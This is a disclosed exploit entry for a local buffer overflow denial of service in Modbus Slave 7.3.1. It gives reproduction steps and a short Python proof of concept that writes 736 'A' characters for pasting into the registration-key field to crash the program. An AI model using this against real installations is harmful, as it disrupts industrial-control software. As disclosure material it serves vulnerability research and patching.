发布 2021-11-22 漏洞条目

Modbus Slave 7.3.1 – Buffer Overflow (DoS)

Exploit Source

# Exploit Title: Modbus Slave 7.3.1 - Buffer Overflow (DoS)

# Discovered by: Yehia Elghaly

# Discovered Date: 2021-11-19

# Vendor Homepage: https://www.modbustools.com/

# Software Link : https://www.modbustools.com/download/ModbusSlaveSetup32Bit.exe

# Tested Version: 7.3.1 < 7.4.2

# Vulnerability Type: Buffer Overflow (DoS) Local

# Tested on OS: Windows XP SP3 - Windows 7 Professional x86 SP1 - Windows 10 x64

# Description: Modbus Slave 7.3.1 < 7.4.2 Buffer Overflow

# Steps to reproduce:

# 1. - Download and install Modbus Slave

# 2. - Run the python script and it will create modbus.txt file.

# 3. - Modbus Slave 7.3.1 < 7.4.2

# 4. - Connection -> Connect

# 5. - Paste the characters of txt file Registration Key

# 6. - press "ok" button

# 7. - Crashed

#!/usr/bin/python

exploit = 'A' * 736

try:

file = open("Modbus.txt","w")

file.write(exploit)

file.close()

print("POC is created")

except:

print("POC not created")

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